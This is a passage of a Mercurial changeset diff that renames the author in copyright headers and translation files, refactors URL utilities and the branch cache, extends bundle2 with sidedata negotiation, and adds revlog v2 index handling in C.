НЕ ПРЕДОСТАВЛЯЕТСЯ, в том числе на пригодность для\n" "коммерческого использования и для решения конкретных задач.\n" @@ -21807,7 +21807,7 @@ # NOT SURE should this be translated? msgid "" -":Author: Matt Mackall \n" +":Author: Olivia Mackall \n" ":Organization: Mercurial\n" ":Manual section: 1\n" ":Manual group: Mercurial Manual" @@ -22000,11 +22000,11 @@ msgid "" "Author\n" "\"\"\"\"\"\"\n" -"Written by Matt Mackall " +"Written by Olivia Mackall " msgstr "" "Автор\n" "\"\"\"\"\"\n" -"Matt Mackall " +"Olivia Mackall " msgid "" "Resources\n" @@ -22024,13 +22024,13 @@ msgid "" "Copying\n" "\"\"\"\"\"\"\"\n" -"Copyright (C) 2005-2014 Matt Mackall.\n" +"Copyright (C) 2005-2014 Olivia Mackall.\n" "Free use of this software is granted under the terms of the GNU General\n" "Public License version 2 or any later version." msgstr "" "Копирование\n" "\"\"\"\"\"\"\"\"\"\"\"\n" -"(C) 2005-2014 Matt Mackall.\n" +"(C) 2005-2014 Olivia Mackall.\n" "Свободное использование этого ПО возможно в соответствии с \n" "Универсальной Общественной Лицензией GNU (GNU GPL) версии 2 или выше." @@ -22068,8 +22068,8 @@ "=====\n" "Vadim Gelfer " -msgid "Mercurial was written by Matt Mackall ." -msgstr "Mercurial написан Matt Mackall ." +msgid "Mercurial was written by Olivia Mackall ." +msgstr "Mercurial написан Olivia Mackall ." msgid "" "See Also\n" @@ -22084,14 +22084,14 @@ "Copying\n" "=======\n" "This manual page is copyright 2006 Vadim Gelfer.\n" -"Mercurial is copyright 2005-2014 Matt Mackall.\n" +"Mercurial is copyright 2005-2014 Olivia Mackall.\n" "Free use of this software is granted under the terms of the GNU General\n" "Public License version 2 or any later version." msgstr "" "Копирование\n" "===========\n" "Правами на данную страницу обладает (с) 2006 Vadim Gelfer\n" -"Права на Mercurial принадлежат (с) 2005-2014 Matt Mackall.\n" +"Права на Mercurial принадлежат (с) 2005-2014 Olivia Mackall.\n" "Свободное использование этого ПО возможно в соответствии с \n" "Универсальной Общественной Лицензией GNU (GNU GPL) версии 2 или выше." @@ -22346,14 +22346,14 @@ "Copying\n" "=======\n" "This manual page is copyright 2005 Bryan O'Sullivan.\n" -"Mercurial is copyright 2005-2014 Matt Mackall.\n" +"Mercurial is copyright 2005-2014 Olivia Mackall.\n" "Free use of this software is granted under the terms of the GNU General\n" "Public License version 2 or any later version." msgstr "" "Копирование\n" "===========\n" "Правами на данную страницу обладает (с) 2005 Bryan O'Sullivan\n" -"Права на Mercurial принадлежат (с) 2005-2014 Matt Mackall.\n" +"Права на Mercurial принадлежат (с) 2005-2014 Olivia Mackall.\n" "Свободное использование этого ПО возможно в соответствии с \n" "Универсальной Общественной Лицензией GNU (GNU GPL) версии 2 или выше." diff -r bc268ea9f984 -r f67b8946bb1b i18n/sv.po --- a/i18n/sv.po Thu Mar 25 19:06:28 2021 -0400 +++ b/i18n/sv.po Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # Swedish translation for Mercurial # Svensk översättning för Mercurial -# Copyright (C) 2009-2012 Matt Mackall and others +# Copyright (C) 2009-2012 Olivia Mackall and others # # Translation dictionary: # @@ -12413,11 +12413,11 @@ msgstr "(se http://mercurial.selenic.com för mer information)" msgid "" -"Copyright (C) 2005-2012 Matt Mackall and others\n" +"Copyright (C) 2005-2012 Olivia Mackall and others\n" "This is free software; see the source for copying conditions. There is NO\n" "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n" msgstr "" -"Copyright (C) 2005-2012 Matt Mackall och andra\n" +"Copyright (C) 2005-2012 Olivia Mackall och andra\n" "Detta är fri mjukvara; se källkoden för kopieringsvillkor. Det ges INGEN\n" "garanti; inte ens för SÄLJBARHET eller ATT PASSA FÖR ETT VISST ÄNDAMÅL.\n" diff -r bc268ea9f984 -r f67b8946bb1b i18n/zh_CN.po --- a/i18n/zh_CN.po Thu Mar 25 19:06:28 2021 -0400 +++ b/i18n/zh_CN.po Tue Apr 20 11:01:06 2021 -0400 @@ -7409,12 +7409,12 @@ msgid "" "\n" -"Copyright (C) 2005-2010 Matt Mackall and others\n" +"Copyright (C) 2005-2010 Olivia Mackall and others\n" "This is free software; see the source for copying conditions. There is NO\n" "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n" msgstr "" "\n" -"版权所有 (C) 2005-2010 Matt Mackall 和其他人。\n" +"版权所有 (C) 2005-2010 Olivia Mackall 和其他人。\n" "这是自由软件,具体参见版权条款。这里没有任何担保,甚至没有适合\n" "特定目的的隐含的担保。\n" diff -r bc268ea9f984 -r f67b8946bb1b i18n/zh_TW.po --- a/i18n/zh_TW.po Thu Mar 25 19:06:28 2021 -0400 +++ b/i18n/zh_TW.po Tue Apr 20 11:01:06 2021 -0400 @@ -1,5 +1,5 @@ # Traditional Chinese translation for Mercurial -# Copyright (C) 2009 Matt Mackall and others +# Copyright (C) 2009 Olivia Mackall and others # This file is distributed under the same license as the Mercurial package. # Chia-Huan Wu , 2009. # @@ -8191,7 +8191,7 @@ msgstr "\tSee 'hg help urls' for more information." msgid "" -"Copyright (C) 2005-2010 Matt Mackall and others\n" +"Copyright (C) 2005-2010 Olivia Mackall and others\n" "This is free software; see the source for copying conditions. There is NO\n" "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n" msgstr "" diff -r bc268ea9f984 -r f67b8946bb1b mercurial/ancestor.py --- a/mercurial/ancestor.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/ancestor.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # ancestor.py - generic DAG ancestor algorithm for mercurial # -# Copyright 2006 Matt Mackall +# Copyright 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/bdiff.c --- a/mercurial/bdiff.c Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/bdiff.c Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ /* bdiff.c - efficient binary diff extension for Mercurial - Copyright 2005, 2006 Matt Mackall + Copyright 2005, 2006 Olivia Mackall This software may be used and distributed according to the terms of the GNU General Public License, incorporated herein by reference. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/bitmanipulation.h --- a/mercurial/bitmanipulation.h Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/bitmanipulation.h Tue Apr 20 11:01:06 2021 -0400 @@ -5,6 +5,18 @@ #include "compat.h" +/* Reads a 64 bit integer from big-endian bytes. Assumes that the data is long + enough */ +static inline uint64_t getbe64(const char *c) +{ + const unsigned char *d = (const unsigned char *)c; + + return ((((uint64_t)d[0]) << 56) | (((uint64_t)d[1]) << 48) | + (((uint64_t)d[2]) << 40) | (((uint64_t)d[3]) << 32) | + (((uint64_t)d[4]) << 24) | (((uint64_t)d[5]) << 16) | + (((uint64_t)d[6]) << 8) | (d[7])); +} + static inline uint32_t getbe32(const char *c) { const unsigned char *d = (const unsigned char *)c; @@ -27,6 +39,20 @@ return ((d[0] << 8) | (d[1])); } +/* Writes a 64 bit integer to bytes in a big-endian format. + Assumes that the buffer is long enough */ +static inline void putbe64(uint64_t x, char *c) +{ + c[0] = (x >> 56) & 0xff; + c[1] = (x >> 48) & 0xff; + c[2] = (x >> 40) & 0xff; + c[3] = (x >> 32) & 0xff; + c[4] = (x >> 24) & 0xff; + c[5] = (x >> 16) & 0xff; + c[6] = (x >> 8) & 0xff; + c[7] = (x)&0xff; +} + static inline void putbe32(uint32_t x, char *c) { c[0] = (x >> 24) & 0xff; diff -r bc268ea9f984 -r f67b8946bb1b mercurial/bookmarks.py --- a/mercurial/bookmarks.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/bookmarks.py Tue Apr 20 11:01:06 2021 -0400 @@ -27,6 +27,9 @@ txnutil, util, ) +from .utils import ( + urlutil, +) # label constants # until 3.5, bookmarks.current was the advertised name, not @@ -597,10 +600,10 @@ # try to use an @pathalias suffix # if an @pathalias already exists, we overwrite (update) it if path.startswith(b"file:"): - path = util.url(path).path + path = urlutil.url(path).path for p, u in ui.configitems(b"paths"): if u.startswith(b"file:"): - u = util.url(u).path + u = urlutil.url(u).path if path == u: return b'%s@%s' % (b, p) @@ -623,7 +626,7 @@ _binaryentry = struct.Struct(b'>20sH') -def binaryencode(bookmarks): +def binaryencode(repo, bookmarks): """encode a '(bookmark, node)' iterable into a binary stream the binary format is: @@ -645,7 +648,7 @@ return b''.join(binarydata) -def binarydecode(stream): +def binarydecode(repo, stream): """decode a binary stream into an '(bookmark, node)' iterable the binary format is: diff -r bc268ea9f984 -r f67b8946bb1b mercurial/branchmap.py --- a/mercurial/branchmap.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/branchmap.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # branchmap.py - logic to computes, maintain and stores branchmap for local repo # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -39,6 +39,7 @@ Tuple, Union, ) + from . import localrepo assert any( ( @@ -51,6 +52,7 @@ Set, Tuple, Union, + localrepo, ) ) @@ -97,7 +99,7 @@ revs.extend(r for r in extrarevs if r <= bcache.tiprev) else: # nothing to fall back on, start empty. - bcache = branchcache() + bcache = branchcache(repo) revs.extend(cl.revs(start=bcache.tiprev + 1)) if revs: @@ -129,6 +131,7 @@ if rbheads: rtiprev = max((int(clrev(node)) for node in rbheads)) cache = branchcache( + repo, remotebranchmap, repo[rtiprev].node(), rtiprev, @@ -184,6 +187,7 @@ def __init__( self, + repo, entries=(), tipnode=nullid, tiprev=nullrev, @@ -191,10 +195,11 @@ closednodes=None, hasnode=None, ): - # type: (Union[Dict[bytes, List[bytes]], Iterable[Tuple[bytes, List[bytes]]]], bytes, int, Optional[bytes], Optional[Set[bytes]], Optional[Callable[[bytes], bool]]) -> None + # type: (localrepo.localrepository, Union[Dict[bytes, List[bytes]], Iterable[Tuple[bytes, List[bytes]]]], bytes, int, Optional[bytes], Optional[Set[bytes]], Optional[Callable[[bytes], bool]]) -> None """hasnode is a function which can be used to verify whether changelog has a given node or not. If it's not provided, we assume that every node we have exists in changelog""" + self._repo = repo self.tipnode = tipnode self.tiprev = tiprev self.filteredhash = filteredhash @@ -280,6 +285,7 @@ if len(cachekey) > 2: filteredhash = bin(cachekey[2]) bcache = cls( + repo, tipnode=last, tiprev=lrev, filteredhash=filteredhash, @@ -386,6 +392,7 @@ def copy(self): """return an deep copy of the branchcache object""" return type(self)( + self._repo, self._entries, self.tipnode, self.tiprev, @@ -564,6 +571,7 @@ # [4 byte hash prefix][4 byte branch name number with sign bit indicating open] _rbcrecfmt = b'>4sI' _rbcrecsize = calcsize(_rbcrecfmt) +_rbcmininc = 64 * _rbcrecsize _rbcnodelen = 4 _rbcbranchidxmask = 0x7FFFFFFF _rbccloseflag = 0x80000000 @@ -703,8 +711,10 @@ self._setcachedata(rev, reponode, branchidx) return b, close - def setdata(self, branch, rev, node, close): + def setdata(self, rev, changelogrevision): """add new data information to the cache""" + branch, close = changelogrevision.branchinfo + if branch in self._namesreverse: branchidx = self._namesreverse[branch] else: @@ -713,7 +723,7 @@ self._namesreverse[branch] = branchidx if close: branchidx |= _rbccloseflag - self._setcachedata(rev, node, branchidx) + self._setcachedata(rev, self._repo.changelog.node(rev), branchidx) # If no cache data were readable (non exists, bad permission, etc) # the cache was bypassing itself by setting: # @@ -728,11 +738,15 @@ if rev == nullrev: return rbcrevidx = rev * _rbcrecsize - if len(self._rbcrevs) < rbcrevidx + _rbcrecsize: - self._rbcrevs.extend( - b'\0' - * (len(self._repo.changelog) * _rbcrecsize - len(self._rbcrevs)) - ) + requiredsize = rbcrevidx + _rbcrecsize + rbccur = len(self._rbcrevs) + if rbccur < requiredsize: + # bytearray doesn't allocate extra space at least in Python 3.7. + # When multiple changesets are added in a row, precise resize would + # result in quadratic complexity. Overallocate to compensate by + # use the classic doubling technique for dynamic arrays instead. + # If there was a gap in the map before, less space will be reserved. + self._rbcrevs.extend(b'\0' * max(_rbcmininc, requiredsize)) pack_into(_rbcrecfmt, self._rbcrevs, rbcrevidx, node, branchidx) self._rbcrevslen = min(self._rbcrevslen, rev) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/bundle2.py --- a/mercurial/bundle2.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/bundle2.py Tue Apr 20 11:01:06 2021 -0400 @@ -177,7 +177,10 @@ url, util, ) -from .utils import stringutil +from .utils import ( + stringutil, + urlutil, +) urlerr = util.urlerr urlreq = util.urlreq @@ -1598,7 +1601,6 @@ b'digests': tuple(sorted(util.DIGESTS.keys())), b'remote-changegroup': (b'http', b'https'), b'hgtagsfnodes': (), - b'rev-branch-cache': (), b'phases': (b'heads',), b'stream': (b'v2',), } @@ -1643,6 +1645,9 @@ # Else always advertise support on client, because payload support # should always be advertised. + # b'rev-branch-cache is no longer advertised, but still supported + # for legacy clients. + return caps @@ -1769,7 +1774,7 @@ for node in outgoing.ancestorsof: # Don't compute missing, as this may slow down serving. fnode = cache.getfnode(node, computemissing=False) - if fnode is not None: + if fnode: chunks.extend([node, fnode]) if chunks: @@ -1810,6 +1815,28 @@ return params +def format_remote_wanted_sidedata(repo): + """Formats a repo's wanted sidedata categories into a bytestring for + capabilities exchange.""" + wanted = b"" + if repo._wanted_sidedata: + wanted = b','.join( + pycompat.bytestr(c) for c in sorted(repo._wanted_sidedata) + ) + return wanted + + +def read_remote_wanted_sidedata(remote): + sidedata_categories = remote.capable(b'exp-wanted-sidedata') + return read_wanted_sidedata(sidedata_categories) + + +def read_wanted_sidedata(formatted): + if formatted: + return set(formatted.split(b',')) + return set() + + def addpartbundlestream2(bundler, repo, **kwargs): if not kwargs.get('stream', False): return @@ -1955,6 +1982,7 @@ b'version', b'nbchanges', b'exp-sidedata', + b'exp-wanted-sidedata', b'treemanifest', b'targetphase', ), @@ -1997,11 +2025,15 @@ targetphase = inpart.params.get(b'targetphase') if targetphase is not None: extrakwargs['targetphase'] = int(targetphase) + + remote_sidedata = inpart.params.get(b'exp-wanted-sidedata') + extrakwargs['sidedata_categories'] = read_wanted_sidedata(remote_sidedata) + ret = _processchangegroup( op, cg, tr, - b'bundle2', + op.source, b'bundle2', expectedtotal=nbchangesets, **extrakwargs @@ -2044,7 +2076,7 @@ raw_url = inpart.params[b'url'] except KeyError: raise error.Abort(_(b'remote-changegroup: missing "%s" param') % b'url') - parsed_url = util.url(raw_url) + parsed_url = urlutil.url(raw_url) if parsed_url.scheme not in capabilities[b'remote-changegroup']: raise error.Abort( _(b'remote-changegroup does not support %s urls') @@ -2081,9 +2113,9 @@ cg = exchange.readbundle(op.repo.ui, real_part, raw_url) if not isinstance(cg, changegroup.cg1unpacker): raise error.Abort( - _(b'%s: not a bundle version 1.0') % util.hidepassword(raw_url) + _(b'%s: not a bundle version 1.0') % urlutil.hidepassword(raw_url) ) - ret = _processchangegroup(op, cg, tr, b'bundle2', b'bundle2') + ret = _processchangegroup(op, cg, tr, op.source, b'bundle2') if op.reply is not None: # This is definitely not the final form of this # return. But one need to start somewhere. @@ -2097,7 +2129,7 @@ except error.Abort as e: raise error.Abort( _(b'bundle at %s is corrupted:\n%s') - % (util.hidepassword(raw_url), e.message) + % (urlutil.hidepassword(raw_url), e.message) ) assert not inpart.read() @@ -2117,7 +2149,7 @@ contains binary encoded (bookmark, node) tuple. If the local state does not marks the one in the part, a PushRaced exception is raised """ - bookdata = bookmarks.binarydecode(inpart) + bookdata = bookmarks.binarydecode(op.repo, inpart) msgstandard = ( b'remote repository changed while pushing - please try again ' @@ -2347,7 +2379,7 @@ When mode is 'records', the information is recorded into the 'bookmarks' records of the bundle operation. This behavior is suitable for pulling. """ - changes = bookmarks.binarydecode(inpart) + changes = bookmarks.binarydecode(op.repo, inpart) pushkeycompat = op.repo.ui.configbool( b'server', b'bookmarks-pushkey-compat' @@ -2478,35 +2510,10 @@ @parthandler(b'cache:rev-branch-cache') def handlerbc(op, inpart): - """receive a rev-branch-cache payload and update the local cache - - The payload is a series of data related to each branch - - 1) branch name length - 2) number of open heads - 3) number of closed heads - 4) open heads nodes - 5) closed heads nodes - """ - total = 0 - rawheader = inpart.read(rbcstruct.size) - cache = op.repo.revbranchcache() - cl = op.repo.unfiltered().changelog - while rawheader: - header = rbcstruct.unpack(rawheader) - total += header[1] + header[2] - utf8branch = inpart.read(header[0]) - branch = encoding.tolocal(utf8branch) - for x in pycompat.xrange(header[1]): - node = inpart.read(20) - rev = cl.rev(node) - cache.setdata(branch, rev, node, False) - for x in pycompat.xrange(header[2]): - node = inpart.read(20) - rev = cl.rev(node) - cache.setdata(branch, rev, node, True) - rawheader = inpart.read(rbcstruct.size) - cache.write() + """Legacy part, ignored for compatibility with bundles from or + for Mercurial before 5.7. Newer Mercurial computes the cache + efficiently enough during unbundling that the additional transfer + is unnecessary.""" @parthandler(b'pushvars') @@ -2561,8 +2568,6 @@ for r in repo.revs(b"::%ln", common): commonnodes.add(cl.node(r)) if commonnodes: - # XXX: we should only send the filelogs (and treemanifest). user - # already has the changelog and manifest packer = changegroup.getbundler( cgversion, repo, @@ -2584,5 +2589,7 @@ part.addparam(b'treemanifest', b'1') if b'exp-sidedata-flag' in repo.requirements: part.addparam(b'exp-sidedata', b'1') + wanted = format_remote_wanted_sidedata(repo) + part.addparam(b'exp-wanted-sidedata', wanted) return bundler diff -r bc268ea9f984 -r f67b8946bb1b mercurial/bundlecaches.py --- a/mercurial/bundlecaches.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/bundlecaches.py Tue Apr 20 11:01:06 2021 -0400 @@ -9,6 +9,7 @@ from . import ( error, + requirements as requirementsmod, sslutil, util, ) @@ -164,7 +165,7 @@ compression = spec version = b'v1' # Generaldelta repos require v2. - if b'generaldelta' in repo.requirements: + if requirementsmod.GENERALDELTA_REQUIREMENT in repo.requirements: version = b'v2' # Modern compression engines require v2. if compression not in _bundlespecv1compengines: diff -r bc268ea9f984 -r f67b8946bb1b mercurial/bundlerepo.py --- a/mercurial/bundlerepo.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/bundlerepo.py Tue Apr 20 11:01:06 2021 -0400 @@ -43,6 +43,9 @@ util, vfs as vfsmod, ) +from .utils import ( + urlutil, +) class bundlerevlog(revlog.revlog): @@ -61,7 +64,7 @@ self.repotiprev = n - 1 self.bundlerevs = set() # used by 'bundle()' revset expression for deltadata in cgunpacker.deltaiter(): - node, p1, p2, cs, deltabase, delta, flags = deltadata + node, p1, p2, cs, deltabase, delta, flags, sidedata = deltadata size = len(delta) start = cgunpacker.tell() - size @@ -175,9 +178,15 @@ class bundlemanifest(bundlerevlog, manifest.manifestrevlog): def __init__( - self, opener, cgunpacker, linkmapper, dirlogstarts=None, dir=b'' + self, + nodeconstants, + opener, + cgunpacker, + linkmapper, + dirlogstarts=None, + dir=b'', ): - manifest.manifestrevlog.__init__(self, opener, tree=dir) + manifest.manifestrevlog.__init__(self, nodeconstants, opener, tree=dir) bundlerevlog.__init__( self, opener, self.indexfile, cgunpacker, linkmapper ) @@ -192,6 +201,7 @@ if d in self._dirlogstarts: self.bundle.seek(self._dirlogstarts[d]) return bundlemanifest( + self.nodeconstants, self.opener, self.bundle, self._linkmapper, @@ -368,7 +378,9 @@ # consume the header if it exists self._cgunpacker.manifestheader() linkmapper = self.unfiltered().changelog.rev - rootstore = bundlemanifest(self.svfs, self._cgunpacker, linkmapper) + rootstore = bundlemanifest( + self.nodeconstants, self.svfs, self._cgunpacker, linkmapper + ) self.filestart = self._cgunpacker.tell() return manifest.manifestlog( @@ -466,7 +478,7 @@ cwd = pathutil.normasprefix(cwd) if parentpath.startswith(cwd): parentpath = parentpath[len(cwd) :] - u = util.url(path) + u = urlutil.url(path) path = u.localpath() if u.scheme == b'bundle': s = path.split(b"+", 1) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/cacheutil.py --- a/mercurial/cacheutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/cacheutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # scmutil.py - Mercurial core utility functions # -# Copyright Matt Mackall and other +# Copyright Olivia Mackall and other # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/cext/bdiff.c --- a/mercurial/cext/bdiff.c Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/cext/bdiff.c Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ /* bdiff.c - efficient binary diff extension for Mercurial - Copyright 2005, 2006 Matt Mackall + Copyright 2005, 2006 Olivia Mackall This software may be used and distributed according to the terms of the GNU General Public License, incorporated herein by reference. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/cext/charencode.c --- a/mercurial/cext/charencode.c Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/cext/charencode.c Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ /* charencode.c - miscellaneous character encoding - Copyright 2008 Matt Mackall and others + Copyright 2008 Olivia Mackall and others This software may be used and distributed according to the terms of the GNU General Public License, incorporated herein by reference. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/cext/mpatch.c --- a/mercurial/cext/mpatch.c Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/cext/mpatch.c Tue Apr 20 11:01:06 2021 -0400 @@ -14,7 +14,7 @@ allocation of intermediate Python objects. Working memory is about 2x the total number of hunks. - Copyright 2005, 2006 Matt Mackall + Copyright 2005, 2006 Olivia Mackall This software may be used and distributed according to the terms of the GNU General Public License, incorporated herein by reference. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/cext/osutil.c --- a/mercurial/cext/osutil.c Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/cext/osutil.c Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ /* osutil.c - native operating system services - Copyright 2007 Matt Mackall and others + Copyright 2007 Olivia Mackall and others This software may be used and distributed according to the terms of the GNU General Public License, incorporated herein by reference. @@ -119,7 +119,7 @@ static void listdir_stat_dealloc(PyObject *o) { - o->ob_type->tp_free(o); + Py_TYPE(o)->tp_free(o); } static PyObject *listdir_stat_getitem(PyObject *self, PyObject *key) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/cext/parsers.c --- a/mercurial/cext/parsers.c Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/cext/parsers.c Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ /* parsers.c - efficient content parsing - Copyright 2008 Matt Mackall and others + Copyright 2008 Olivia Mackall and others This software may be used and distributed according to the terms of the GNU General Public License, incorporated herein by reference. @@ -638,7 +638,7 @@ PyObject *encodedir(PyObject *self, PyObject *args); PyObject *pathencode(PyObject *self, PyObject *args); PyObject *lowerencode(PyObject *self, PyObject *args); -PyObject *parse_index2(PyObject *self, PyObject *args); +PyObject *parse_index2(PyObject *self, PyObject *args, PyObject *kwargs); static PyMethodDef methods[] = { {"pack_dirstate", pack_dirstate, METH_VARARGS, "pack a dirstate\n"}, @@ -646,7 +646,8 @@ "create a set containing non-normal and other parent entries of given " "dirstate\n"}, {"parse_dirstate", parse_dirstate, METH_VARARGS, "parse a dirstate\n"}, - {"parse_index2", parse_index2, METH_VARARGS, "parse a revlog index\n"}, + {"parse_index2", (PyCFunction)parse_index2, METH_VARARGS | METH_KEYWORDS, + "parse a revlog index\n"}, {"isasciistr", isasciistr, METH_VARARGS, "check if an ASCII string\n"}, {"asciilower", asciilower, METH_VARARGS, "lowercase an ASCII string\n"}, {"asciiupper", asciiupper, METH_VARARGS, "uppercase an ASCII string\n"}, diff -r bc268ea9f984 -r f67b8946bb1b mercurial/cext/pathencode.c --- a/mercurial/cext/pathencode.c Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/cext/pathencode.c Tue Apr 20 11:01:06 2021 -0400 @@ -21,6 +21,7 @@ #include #include #include +#include "pythoncapi_compat.h" #include "util.h" @@ -678,7 +679,7 @@ } assert(PyBytes_Check(ret)); - Py_SIZE(ret) = destlen; + Py_SET_SIZE(ret, destlen); return ret; } diff -r bc268ea9f984 -r f67b8946bb1b mercurial/cext/revlog.c --- a/mercurial/cext/revlog.c Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/cext/revlog.c Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ /* parsers.c - efficient content parsing - Copyright 2008 Matt Mackall and others + Copyright 2008 Olivia Mackall and others This software may be used and distributed according to the terms of the GNU General Public License, incorporated herein by reference. @@ -15,6 +15,7 @@ #include #include #include +#include #include "bitmanipulation.h" #include "charencode.h" @@ -98,6 +99,7 @@ int ntlookups; /* # lookups */ int ntmisses; /* # lookups that miss the cache */ int inlined; + long hdrsize; /* size of index headers. Differs in v1 v.s. v2 format */ }; static Py_ssize_t index_length(const indexObject *self) @@ -113,14 +115,19 @@ static int index_find_node(indexObject *self, const char *node); #if LONG_MAX == 0x7fffffffL -static const char *const tuple_format = PY23("Kiiiiiis#", "Kiiiiiiy#"); +static const char *const v1_tuple_format = PY23("Kiiiiiis#", "Kiiiiiiy#"); +static const char *const v2_tuple_format = PY23("Kiiiiiis#Ki", "Kiiiiiiy#Ki"); #else -static const char *const tuple_format = PY23("kiiiiiis#", "kiiiiiiy#"); +static const char *const v1_tuple_format = PY23("kiiiiiis#", "kiiiiiiy#"); +static const char *const v2_tuple_format = PY23("kiiiiiis#ki", "kiiiiiiy#ki"); #endif /* A RevlogNG v1 index entry is 64 bytes long. */ static const long v1_hdrsize = 64; +/* A Revlogv2 index entry is 96 bytes long. */ +static const long v2_hdrsize = 96; + static void raise_revlog_error(void) { PyObject *mod = NULL, *dict = NULL, *errclass = NULL; @@ -157,7 +164,7 @@ static const char *index_deref(indexObject *self, Py_ssize_t pos) { if (pos >= self->length) - return self->added + (pos - self->length) * v1_hdrsize; + return self->added + (pos - self->length) * self->hdrsize; if (self->inlined && pos > 0) { if (self->offsets == NULL) { @@ -174,7 +181,7 @@ return self->offsets[pos]; } - return (const char *)(self->buf.buf) + pos * v1_hdrsize; + return (const char *)(self->buf.buf) + pos * self->hdrsize; } /* @@ -280,8 +287,9 @@ */ static PyObject *index_get(indexObject *self, Py_ssize_t pos) { - uint64_t offset_flags; - int comp_len, uncomp_len, base_rev, link_rev, parent_1, parent_2; + uint64_t offset_flags, sidedata_offset; + int comp_len, uncomp_len, base_rev, link_rev, parent_1, parent_2, + sidedata_comp_len; const char *c_node_id; const char *data; Py_ssize_t length = index_length(self); @@ -320,9 +328,19 @@ parent_2 = getbe32(data + 28); c_node_id = data + 32; - return Py_BuildValue(tuple_format, offset_flags, comp_len, uncomp_len, - base_rev, link_rev, parent_1, parent_2, c_node_id, - self->nodelen); + if (self->hdrsize == v1_hdrsize) { + return Py_BuildValue(v1_tuple_format, offset_flags, comp_len, + uncomp_len, base_rev, link_rev, parent_1, + parent_2, c_node_id, self->nodelen); + } else { + sidedata_offset = getbe64(data + 64); + sidedata_comp_len = getbe32(data + 72); + + return Py_BuildValue(v2_tuple_format, offset_flags, comp_len, + uncomp_len, base_rev, link_rev, parent_1, + parent_2, c_node_id, self->nodelen, + sidedata_offset, sidedata_comp_len); + } } /* @@ -373,18 +391,31 @@ static PyObject *index_append(indexObject *self, PyObject *obj) { - uint64_t offset_flags; + uint64_t offset_flags, sidedata_offset; int rev, comp_len, uncomp_len, base_rev, link_rev, parent_1, parent_2; - Py_ssize_t c_node_id_len; + Py_ssize_t c_node_id_len, sidedata_comp_len; const char *c_node_id; char *data; - if (!PyArg_ParseTuple(obj, tuple_format, &offset_flags, &comp_len, - &uncomp_len, &base_rev, &link_rev, &parent_1, - &parent_2, &c_node_id, &c_node_id_len)) { - PyErr_SetString(PyExc_TypeError, "8-tuple required"); - return NULL; + if (self->hdrsize == v1_hdrsize) { + if (!PyArg_ParseTuple(obj, v1_tuple_format, &offset_flags, + &comp_len, &uncomp_len, &base_rev, + &link_rev, &parent_1, &parent_2, + &c_node_id, &c_node_id_len)) { + PyErr_SetString(PyExc_TypeError, "8-tuple required"); + return NULL; + } + } else { + if (!PyArg_ParseTuple(obj, v2_tuple_format, &offset_flags, + &comp_len, &uncomp_len, &base_rev, + &link_rev, &parent_1, &parent_2, + &c_node_id, &c_node_id_len, + &sidedata_offset, &sidedata_comp_len)) { + PyErr_SetString(PyExc_TypeError, "10-tuple required"); + return NULL; + } } + if (c_node_id_len != self->nodelen) { PyErr_SetString(PyExc_TypeError, "invalid node"); return NULL; @@ -393,15 +424,15 @@ if (self->new_length == self->added_length) { size_t new_added_length = self->added_length ? self->added_length * 2 : 4096; - void *new_added = - PyMem_Realloc(self->added, new_added_length * v1_hdrsize); + void *new_added = PyMem_Realloc(self->added, new_added_length * + self->hdrsize); if (!new_added) return PyErr_NoMemory(); self->added = new_added; self->added_length = new_added_length; } rev = self->length + self->new_length; - data = self->added + v1_hdrsize * self->new_length++; + data = self->added + self->hdrsize * self->new_length++; putbe32(offset_flags >> 32, data); putbe32(offset_flags & 0xffffffffU, data + 4); putbe32(comp_len, data + 8); @@ -411,7 +442,14 @@ putbe32(parent_1, data + 24); putbe32(parent_2, data + 28); memcpy(data + 32, c_node_id, c_node_id_len); + /* Padding since SHA-1 is only 20 bytes for now */ memset(data + 32 + c_node_id_len, 0, 32 - c_node_id_len); + if (self->hdrsize != v1_hdrsize) { + putbe64(sidedata_offset, data + 64); + putbe32(sidedata_comp_len, data + 72); + /* 